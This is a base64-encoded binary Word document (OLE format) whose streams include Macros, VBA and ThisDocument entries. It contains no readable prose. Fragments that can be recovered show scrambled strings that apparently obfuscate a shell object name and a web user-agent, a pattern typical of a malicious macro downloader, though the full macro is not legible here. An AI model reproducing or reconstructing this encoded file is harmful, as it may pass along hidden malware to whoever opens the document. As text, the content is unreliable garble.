AAAASgAAAEsAAABMAAAATQAAAE4AAABPAAAAUAAAAFEAAABSAAAARAAAAFQAAABVAAAAVgAAAFcA AABYAAAAWQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAAZQAA AGYAAABnAAAAaAAAAP7///9qAAAAawAAAGwAAABtAAAAbgAAAG8AAABwAAAAcQAAAHIAAABzAAAA dAAAAHkAAACKAAAAdwAAAP7////+////egAAAHsAAAB8AAAAhgAAAP3///9/AAAAgAAAAFIAbwBv AHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAWAAUB//////////8JAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAHDCG7YvINIBQAAA AEAtAAAAAAAARABhAHQAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAoAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA0AAAAABAAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQgAAAD//////////wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZZwAAAAAAAE8AYgBqAGUAYwB0AFAAbwBvAGwA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAEA//////////8E AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBi2LyDSAXDCG7YvINIBAAAAAAAAAAAAAAAAXwAxADUA MwA3ADAAOQAxADcANQAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABgAAQH//////////wYAAABT5aEENv7eT4ZeNEGU5pQkAAAAAABAGLYvINIBII4Yti8g0gEAAAAA AAAAAAAAAAADAE8AYgBqAEkAbgBmAG8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAEgACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAGAAAAAAAAAAMATwBDAFgATgBBAE0ARQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIBBQAAAAcAAAD/////AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABoAAAAAAAAAQwBvAG4AdABlAG4AdABzAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgH///////////// //8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAXgAAAAAAAAD+/////v// /wMAAAD+////BQAAAAYAAAAHAAAACAAAAAkAAAAKAAAA/v///wwAAAANAAAADgAAAA8AAAD+//// EQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAf AAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0A AAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAA ADwAAAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAABDAAAARAAAAEUAAABGAAAARwAAAEgAAAD+//// SgAAAEsAAABMAAAATQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAAVgAAAFcAAABY AAAAWQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAAZQAAAGYA AABnAAAAaAAAAGkAAABqAAAAawAAAGwAAABtAAAA/v///28AAABwAAAAcQAAAHIAAABzAAAAdAAA AHUAAAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAD+////fQAAAH4AAAB/AAAAgAAAAAASAwAEAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABC 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 AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAUDgAAAAAAAF8AXwBTAFIAUABfADMAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAIBEgAAAA0AAAD/////AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASQAAAAsJAAAAAAAAgAgACAAAAAgAAAAi gQwABgAMABAAAAAAgQgABgAAABgAAAAEgQgAAgAAACAAAAAigQgABgAMACgAAAAAgQgADAAAADAA AAAAgQgABgAAAEAAAAAAgQgABgAAAEgAAAAEgQgAAgAAAFAAAAAigQgABgAMAFgAAAAAgQgABAAA AGAAAAAAgQgABgAAAGgAAAAAgQgABgAAAHAAAAAAgQgABgAAAHgAAAAAgQgABgAAAIAAAAAAgQgA BgAAAIgAAAAAgQgAFgAAAJAAAAAAgQgAGAAAAKgAAAAAgQgAAgAAAMAAAAAAgAgABAAAAMgAAAAE gQgAAgAAANAAAAAigQgABgAMANgAAAAAgQgACAAAAOAAAAAAgQgAOgAAAOgAAAAAgQgAGgAAACgB AAAEgQgAAgAAAEgBAABCgQgABgAMAFABAAAAgQgAQAAAAFgBAAAAgQgAHAAAAJgBAAAAgQgAGAAA ALgBAAAAgQgAjgAAANABAAAAgQgADgAAAGACAAAAgQgAEAAAAHACAAAAgQgADAAAAIACAAAAgQgA AgAAAJACAAAEgQgAAgAAAJgCAABCgQgABgAMAKACAAAAgQgAJgAAAKgCAAAEgQgAAgAAANACAABC gQgABgAMANgCAAAAgQgATgAAAOACAAAEgQgAAgAAADADAABCgQgABgAMADgDAAAAgQgASAAAAEAD AAAEgQgAAgAAAIgDAABCgQgABgAMAJADAAAAgQgABgAAAJgDAAAEgQgAAgAAAKADAABCgQgABgAM AKgDAAAAgQgAIgAAALADAAAEgQgAAgAAANgDAABCgQwABgAMAOADAAAAgQgAJAAAAOgDAAAEgQgA AgAAABAEAABCgQwABgAMABgEAAAAgQgADgAAACAEAAAAgQgAGAAAADAEAAAAgQgABAAAAEgEAAAA gQgAAgAAAFAEAAAAgAgABAAAAFgEAAAAgQgABgAAAGAEAAAEgQgAAgAAAGgEAAAigQwABgAMAHAE AAAEgQgAAgAAAHgEAABCgQwABgAMAIAEAAAAgVAAGgcAAIgEAAAEgQgAAgAAAKgLAABCgQgABgAM ALALAAAAgQgALAAAALgLAAAEgQgAAgAAAOgLAAAigQgABgAMAPALAAAAgQgAFgAAAPgLAAAEgQgA AgAAABAMAABCgQgABgAMABgMAAAAgQgAEgAAACAMAAAEgQgAAgAAADgMAABCgQgABgAMAEAMAAAA gQgACAAAAEgMAAAEgQgAAgAAAFAMAABCgQwABgAMAFgMAAAAgQgACAAAAGAMAAAEgQgAAgAAAGgM AABCgQgABgAMAHAMAAAAgQgA2AAAAHgMAAAEgQgAAgAAAFANAABCgQwABgEWAQAGAAEAAG4ZAADk AAAAEgIAAK8ZAAC9GQAAvTYAAC8AAAABAAAA869scwAA//+jAQAAiAAAALYA//8BAQAAAAD///// AAAAAP//QAD//wAAmz3DyEHiAECWMwW4rT+vDlwrwq9E6nhBgU+tmkVeKfAAAAAAAAAAAAAAAAAA AAAAAQAAAMlSCbGPmIZAg2mYXYKtwCsQAAAAAwAAAAUAAAAHAAAA//////////8BAQgAAAD///// eAAAAAjJUgmxj5iGQINpmF2CrcArmz3DyEHiAECWMwW4rT+vDv//AAAAAE1FAAD///////8AAAAA //8AAAAA//8BAQAAAADfAP//AAAAABQA/////////////wwA//////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////9QAAAAAgBTIv////8AAAEAUxD/ ////AAABAFMi/////wAAAQAwTP//KgIAAAAANiL/////AAAAAAI8GAD//wAAAAACPBwA//8AAAAA Ajz/////AAD//wEBAAAAAAEAKAAxAE4AbwByAG0AYQBsAC4AVABoAGkAcwBEAG8AYwB1AG0AZQBu AHQACQAAAKAAAAABAdAWAAACgP7//////xAA//8oAAAAAgH//wAAAAAAAAAA//////////8AAAAA HQAAACUAAAAdAAwAJQAAAAKD/v//////CAD//2gAAAAAAP///////wAAAAD//////////wAAAAD/ ////GAAAAB0AEAAlAAAAgqASAv/////+////mAAAAAIA///+////AAAAAP//////////AAAAAB0A EAAlAAAA/////xAAAAD/////CwD//wAAAABlADEADBEkAjgBAAAAAARgAAAAAP//////////AAAA AAAAAAD/////AAAKAPgAAAD/////uAYAAAMAAwABAJQCAAMAAGmDJgL//////////wMA//8AAAAA GAEAAIQAAABuPg0KKYMoAv//////////MAAAAAAAAAD/////hAAAAHM6Y2gMESwCeAEAAAEABGAA AAAA//////////8AAAAAAAAAAP////8AAAoA//////////+8BgEABQAFAAQAlAAAAwAADBEuArgB AAACAARgAAAAAP//////////AAAAAAAAAAD/////AAAKAP//////////wAYCAAwADAAJAJQAAAMA AAwROgL4AQAAAwAEYAAAAAD//////////wAAAAAAAAAA/////wAACgD//////////8QGAwAFAAUA FQCUAAADAAAsEUwCWAIAAAQABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAOAIAAAgA///I BgQACgAKABoAvAEAAwAAaYP+////////////CAH//wAAAAD/////IAAAAABMAAksEWICuAIAAAUA BGAAAAAA//////////8AAAAAAAAAAP////8AAAoAmAIAAAgA///MBgUAAwADACQAvAEAAwAAaYP+ ////////////CAH//wAAAAD/////IAAAAHRhAEAsEWQCGAMAAAYABGAAAAAA//////////8AAAAA AAAAAP////8AAAoA+AIAAAgA///QBgYAAwADACcAvAEAAwAAaYP+////////////CAH//wAAAAD/ ////IAAAAL4hSXIsEVwCeAMAAAcABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAWAMAAAgA ///UBgcAAwADACoAvAEAAwAAaYP+////////////CAH//wAAAAD/////IAAAAAAAAAAsEV4C2AMA AAgABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAuAMAAAsA///YBggAAwADAC0AvAEAAwAA aYP+////////////CwH//wAAAAD/////IAAAAAAAAAAsEVoCOAQAAAkABGAAAAAA//////////8A AAAAAAAAAP////8AAAoAGAQAAAgA///cBgkAAwADADAAvAEAAwAAaYP+////////////CAH//wAA AAD/////IAAAAAAAAAAsEU4C2AQAAAoABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAeAQA AAsA///gBgoAAwADADMAvAMAAwAAaYNsAv//////////CAD//wAAAACYBAAAhAAAAAAAAABpg24C //////////8IAP//AAAAALgEAACEAAAAAAAAAGmD/v///////////wsB//8AAAAA/////yAAAAAA AAAALBFSAngFAAALAARgAAAAAP//////////AAAAAAAAAAD/////AAAKABgFAAALAP//5AYLAAgA CAA2ALwDAAMAAGmDbAL//////////wgA//8AAAAAOAUAAIQAAAAAAAAASYN0Av//////////DAD/ /wAAAABYBQAAhAAAAAAAAABpg/7///////////8LAf//AAAAAP////8gAAAAAAAAAAwRWALYBQAA DAAEYAAAAAD//////////wAAAAAAAAAA/////wAACgC4BQAA/////+gGDAACAAIAPgCUAQADAABJ g3gC//////////8MAP//AAAAAP////+EAAAAAAAAAAwRVAI4BgAADQAEYAAAAAD//////////wAA AAAAAAAA/////wAACgAYBgAADAD//+wGDQADAAMAQAC8AQADAABpg/7///////////8MAf//AAAA AP////8gAAAAAAAAACwRQgKYBgAADgAEYAAAAAD//////////wAAAAAAAAAA/////wAACgB4BgAA CAD///AGDgADAAMAQwC8AQADAABpg/7///////////8IAf//AAAAAP////8gAAAAaAAAAAwRNALY BgAADwAEYAAAAAD//////////wAAAAAAAAAA/////wAACgD///////////QGDwADAAMARgCUAAAD AAAsEXoCOAcAABAABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAGAcAAAIA///4BhAAAwAD AEkAvAEAAwAAaYP+////////////AgH//wAAAAD/////IAAAAASBCAAsEXwCmAcAABEABGAAAAAA //////////8AAAAAAAAAAP////8AAAoAeAcAAAIA///8BhEAAwADAEwAvAEAAwAAaYP+//////// ////AgH//wAAAAD/////IAAAAACBCAAMEUQCGAgAABIABGAAAAAA//////////8AAAAAAAAAAP// //8AAAoA2AcAAAwA//8ABxIAAwADAE8AvAIAAwAASYOCAv//////////DAD//wAAAAD4BwAAhAAA AASBCABpg/7///////////8MAf//AAAAAP////8gAAAAQAMAACwRSAJ4CAAAEwAEYAAAAAD///// /////wAAAAAAAAAA/////wAACgBYCAAACAD//wQHEwADAAMAUgC8AQADAABpg/7///////////8I Af//AAAAAP////8gAAAA4AMAACwRhAL4CAAAFAAEYAAAAAD//////////wAAAAAAAAAA/////wAA CgC4CAAACAD//wgHFAADAAMAVQC8AgADAABpg4YC//////////8IAP//AAAAANgIAACEAAAAWAQA AGmD/v///////////wgB//8AAAAA/////yAAAAAGAAwALBGIAlgJAAAVAARgAAAAAP////////// AAAAAAAAAAD/////AAAKADgJAAAIAP//DAcVAAMAAwBYALwBAAMAAGmD/v///////////wgB//8A AAAA/////yAAAAAGAAwADBE4ApgJAAAWAARgAAAAAP//////////AAAAAAAAAAD/////AAAKAP// ////////EAcWAAUABQBbAJQAAAMAAAwRjgL4CQAAFwAEYAAAAAD//////////wAAAAAAAAAA//// /wAACgDYCQAADAD//xQHFwADAAMAYAC8AQADAABpg/7///////////8MAf//AAAAAP////8gAAAA eAwAAAwRjAJYCgAAGAAEYAAAAAD//////////wAAAAAAAAAA/////wAACgA4CgAADAD//xgHGAAD AAMAYwC8AQADAABpg/7///////////8MAf//AAAAAP////8gAAAAyA0AACwRkgIYCwAAGQAEYAAA AAD//////////wAAAAAAAAAA/////wAACgCYCgAACAD//xwHGQAHAAcAZgC8BAADAABpg5QC//// //////8IAP//AAAAALgKAACEAAAAwA8AAGmDlgL//////////wIA//8AAAAA2AoAAIQAAAAGAAwA aYOYAv//////////AgD//wAAAAD4CgAAhAAAAACBCABpg/7///////////8IAf//AAAAAP////8g AAAAUBAAACwRngJ4CwAAGgAEYAAAAAD//////////wAAAAAAAAAA/////wAACgBYCwAAAgD//yAH GgADAAMAbQC8AQADAABpg/7///////////8CAf//AAAAAP////8gAAAAqBAAACwRpgLYCwAAGwAE YAAAAAD//////////wAAAAAAAAAA/////wAACgC4CwAACAD//yQHGwADAAMAcAC8AQADAABpg/7/ //////////8IAf//AAAAAP////8gAAAAEBEAACwRnAJ4DAAAHAAEYAAAAAD//////////wAAAAAA AAAA/////wAACgAYDAAAAgD//ygHHAADAAMAcwC8AwADAABpg6oC//////////8CAP//AAAAADgM AACEAAAAgBEAAGmDrAL//////////wIA//8AAAAAWAwAAIQAAAACAAAAaYP+////////////AgH/ /wAAAAD/////IAAAAASBCAAsEaIC+AwAAB0ABGAAAAAA//////////8AAAAAAAAAAP////8AAAoA uAwAAAIA//8sBx0AAwADAHYAvAIAAwAASYOuAv//////////DAD//wAAAADYDAAAhAAAAACBCABp g/7///////////8CAf//AAAAAP////8gAAAAWBIAAAwRsgKYDQAAHgAEYAAAAAD//////////wAA AAAAAAAA/////wAACgA4DQAA/////zAHHgADAAMAeQCUAwADAABJg64C//////////8MAP//AAAA AFgNAACEAAAATAfqBmmDtAL//////////wIA//8AAAAAeA0AAIQAAAARAPkAaYO2Av////////// CAD//wAAAAD/////hAAAAE9sZVMsEaACOA4AAB8ABGAAAAAA//////////8AAAAAAAAAAP////8A AAoA2A0AAAgA//80Bx8AAwADAHwAvAMAAwAAaYO6Av//////////CAD//wAAAAD4DQAAhAAAAAD/ eAdpg5oC//////////8CAP//AAAAABgOAACEAAAAGggUAGmD/v///////////wgB//8AAAAA//// /yAAAAAJCAQALBFQAvgOAAAgAARgAAAAAP//////////AAAAAAAAAAD/////AAAOAHgOAAAIAP// OAcgAAUABQB/ALwEAAMAAGmDlAL//////////wgA//8AAAAAmA4AAIQAAAARAPkAaYOWAv////// ////AgD//wAAAAC4DgAAhAAAAGhnVndpg5gC//////////8CAP//AAAAANgOAACEAAAAyQgWAGmD /v///////////wgB//8AAAAA/////yAAAAAAAPoILBG8ApgPAAAhAARgAAAAAP//////////AAAA AAAAAAD/////AAAKADgPAAAIAP//PAchAAMAAwCEALwDAAMAAGmDugL//////////wgA//8AAAAA WA8AAIQAAAAEACIAaYOaAv//////////AgD//wAAAAB4DwAAhAAAAHYJbQlpg/7///////////8I Af//AAAAAP////8gAAAAJgkRACwRvgI4EAAAIgAEYAAAAAD//////////wAAAAAAAAAA/////wAA CgDYDwAACAD//0AHIgADAAMAhwC8AwADAABpg7oC//////////8IAP//AAAAAPgPAACEAAAA6QkW AGmDmgL//////////wIA//8AAAAAGBAAAIQAAAAAABoKaYP+////////////CAH//wAAAAD///// IAAAALYJ6AksEcAC2BAAACMABGAAAAAA//////////8AAAAAAAAAAP////8AAAoAeBAAAAgA//9E ByMAAwADAIoAvAMAAwAAaYO6Av//////////CAD//wAAAACYEAAAhAAAAIsKiwppg5oC//////// //8CAP//AAAAALgQAACEAAAAEQD4AGmD/v///////////wgB//8AAAAA/////yAAAABAC1ILDBEy AhgRAAAkAARgAAAAAP//////////AAAAAAAAAAD/////AAAKAP//////////SAckAAMAAwCNAJQA AAMAACwRxgJ4EQAAJQAEYAAAAAD//////////wAAAAAAAAAA/////wAACgBYEQAACAD//0wHJQAD AAMAkAC8AQADAABpg/7///////////8IAf//AAAAAP////8gAAAAIgBuCywRyAL4EQAAJgAEYAAA AAD//////////wAAAAAAAAAA/////wAACgC4EQAACAD//1AHJgADAAMAkwC8AgADAABpg8wC//// //////8IAP//AAAAANgRAACEAAAA+ACUC2mD/v///////////wgB//8AAAAA/////yAAAABsDAAA LBHOApgSAAAnAARgAAAAAP//////////AAAAAAAAAAD/////AAAKADgSAAACAP//VAcnAAMAAwCW ALwDAAMAAGmDbAL//////////wgA//8AAAAAWBIAAIQAAABaDBUAaYNuAv//////////CAD//wAA AAB4EgAAhAAAAAAANAxpg/7///////////8CAf//AAAAAP////8gAAAABgBRTCwRxAIYEwAAKAAE YAAAAAD//////////wAAAAAAAAAA/////wAACgDYEgAACwD//1gHKAAJAAkAmQC8AgADAABpg7oC //////////8IAP//AAAAAPgSAACEAAAALCAAAGmD/v///////////wsB//8AAAAA/////yAAAAAL DRwNLBHSAngTAAApAARgAAAAAP//////////AAAAAAAAAAD/////AAAKAFgTAAAIAP//XAcpAAMA AwCiALwBAAMAAGmD/v///////////wgB//8AAAAA/////yAAAAAVAFACDBE2ArgTAAAqAARgAAAA AP//////////AAAAAAAAAAD/////AAAKAP//////////YAcqAAMAAwClAJQAAAMAACwR1gIYFAAA KwAEYAAAAAD//////////wAAAAAAAAAA/////wAACgD4EwAAAgD//2QHKwADAAMAqAC8AQADAABp g/7///////////8CAf//AAAAAP////8gAAAALCAAACwR1AJ4FAAALAAEYAAAAAD//////////wAA AAAAAAAA/////wAACgBYFAAAAgD//2gHLAADAAMAqwC8AQADAABpg/7///////////8CAf//AAAA AP////8gAAAAtA4AACwR2AL4FAAALQAEYAAAAAD//////////wAAAAAAAAAA/////wAACgC4FAAA AgD//2wHLQADAAMArgC8AgADAABJg9oC//////////8MAP//AAAAANgUAACEAAAAQ2R0TGmD/v// /////////wIB//8AAAAA/////yAAAAD4DvgODBE+Av////8uAARgAAAAAP//////////AAAAAAAA AAD/////AAAKADgVAAAMAP//cAcuAAQABACxALwCAAMAAEmD2gL//////////wwA//8AAAAAWBUA AIQAAAB0D00PaYP+////////////DAH//wAAAAD/////IAAAAF4PTQ9igCIC/////zQA//8LAP// AAAAAAAABEAAAAAA//////////8AAAAA2AQAAP/////4EQAAOBAAAHgRAAD//////////7gBAAC4 AgAAGAgAAJgPAAAYFAAA+BQAAHgIAAD/////OAYAAPgIAAD4DAAAmBIAAP////94AwAA/////zgE AABYAgAAmAkAADgBAAA4DgAAeBUAAP/////YEAAA/////1gJAAD///////////////////////// //////94BQAAGAsAAP//////////eAsAAP//////////2AMAAP////+YBwAA2AsAALgAAACYDQAA eAEAAPgJAAB4FAAAGBMAADgHAAD//////////5gGAAAYAwAA2AUAAFgKAAB4DAAA+A4AAP////// ////2AYAABgRAAC4EwAA+AEAAHgTAAD//////////zM5AAD/////MAMAAC8ALwABAAEAAAAAAAAA AAC4AAAA/////3gVAAAAAAAA///////////4FAAA/////3gVAAAAAAAA////////////////cAAA ADgAAAAAAAAAAAAAAEQABAAAAAAAdAe4Bv////////////////////////////8KAEkAoBUAAFtQ wVkYEAEQACoAXABSADUAKgAjADEAMAABJAAqAFwAUgBmAGYAZgBmACoANABaADUAOQBjADEANQAw ADUAYgDfAQAAAAAA/////zgAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+ygEAtQAAAAwAWA0AAACBCAAOAAAAYA0AAASBCAACAAAA cA0AAEKBCAAGAAwAeA0AAACBCAA8AAAAgA0AAASBCAACAAAAwA0AACKBCAAGAAwAyA0AAACBCAAO AAAA0A0AAACBCAAeAAAA4A0AAACBCAAEAAAAAA4AAASBCAACAAAACA4AAEKBDAAGAAwAEA4AAACB GACaAQAAGA4AAASBCAACAAAAuA8AAEKBDAAGAAwAwA8AAACBCAAKAAAAyA8AAASBCAACAAAA2A8A AEKBDAAGAAwA4A8AAACBCAAUAAAA6A8AAACBCAAWAAAAABAAAACBCAAYAAAAGBAAAACBCAAcAAAA MBAAAACBCAACAAAAUBAAAASBCAACAAAAWBAAAEKBCAAGAAwAYBAAAACBCAAOAAAAaBAAAASBCAAC AAAAeBAAAEKBCAAGAAwAgBAAAACBCAASAAAAiBAAAASBCAACAAAAoBAAAEKBDAAGAAwAqBAAAACB CAAOAAAAsBAAAASBCAACAAAAwBAAAEKBDAAGAAwAyBAAAACBCAASAAAA0BAAAASBCAACAAAA6BAA ACKBDAAGAAwA8BAAAACBCAAUAAAA+BAAAASBCAACAAAAEBEAAEKBDAAGAAwAGBEAAACBCAAYAAAA IBEAAASBCAACAAAAOBEAAEKBDAAGAAwAQBEAAACBCAAEAAAASBEAAACBCAASAAAAUBEAAACBCAAW AAAAaBEAAASBCAACAAAAgBEAAEKBDAAGAAwAiBEAAACBCAAcAAAAkBEAAASBCAACAAAAsBEAAEKB DAAGAAwAuBEAAACBCAASAAAAwBEAAASBCAACAAAA2BEAAEKBDAAGAAwA4BEAAACBCAASAAAA6BEA AASBCAACAAAAABIAACKBCAAGAAwACBIAAACBCAAWAAAAEBIAAASBCAACAAAAKBIAAEKBCAAGAAwA MBIAAACBCAASAAAAOBIAAASBCAACAAAAUBIAAEKBDAAGAAwAWBIAAACBCAA6AAAAYBIAAASBCAAC AAAAoBIAAEKBDAAGAAwAqBIAAACBCAASAAAAsBIAAASBCAACAAAAyBIAAEKBDAAGAAwA0BIAAACB CAAIAAAA2BIAAACBCAAUAAAA4BIAAACBCAAaAAAA+BIAAACBCAAOAAAAGBMAAACBCAACAAAAKBMA AACBCAAEAAAAMBMAAACBCAAOAAAAOBMAAASBCAACAAAASBMAAEKBCAAGAAwAUBMAAACBCAAuAAAA WBMAAASBCAACAAAAiBMAACKBCAAGAAwAkBMAAACBCAAWAAAAmBMAAASBCAACAAAAsBMAAEKBCAAG AAwAuBMAAACBCAAIAAAAwBMAAASBCAACAAAAyBMAAEKBCAAGAAwA0BMAAACBCAAOAAAA2BMAAASB CAACAAAA6BMAAEKBDAAGAAwA8BMAAACBCAAMAAAA+BMAAASBCAACAAAACBQAAEKBDAAGAAwAEBQA AACBCAAKAAAAGBQAAASBCAACAAAAKBQAAACACQAAAAAA//////////8BATgUAAD/////eAAAAF0A 8gR4FQAAlhS4AAAAAABBQCwCAAAAAG8A//8YAAAAlhQ4AQAAAAAgACICmwBHAHwAagAAAAAAtwQn ACICAABBQC4CAAAAAG8A//8oAAAAlhR4AQAAAADJADACGAAAAEFAMgIAAAAAQUA0AgAAAABBQDYC AAAAAEFAOAIAAAAAQUA6AgAAAADtACAAQgIkAEACAQAkAD4CAQAuADwCQgAgAEgCrAAAACAAPAIl AEYCAgBBQEQCAQB8AP//OAAAAKMAMAIwAAAAbwD//ygAAACWFLgBAAAAACAATAInAEoCIABKArYA DwBJTkFFQ09UZ2tVQnhCVEEArAAsAKwAFAAkAFACAwAkAE4CAgAVAJsARwCsAGkAcwBqAEIAQwAw ACAASgIgAFQCJABSAgIAmwBHAKwAagBzAGoAZQBcAEkAbwD//7AAAACWGPgBAAAAAO0AtgAiADFl LnA1cHRSdHRIZWVuaW1xV2kuUnBDLnR0eXNIbnZ1aVesAFMArACHACQAUAIDACQAQAIBAC4AVgIg AFoCIABcAiAAXgIgAFYCJQAWAQMAQUBYAgEAAAAAUiAAYgIgAGQCIABWAiUAYAICAEFAWAIBALYA EgBxc2dDZnJuU1VBa1dlZWhhLXSsAK0ArAC8ACQAUAIDALYARwA3MDBzbG9yMCh6TjtpZCBvbCBN 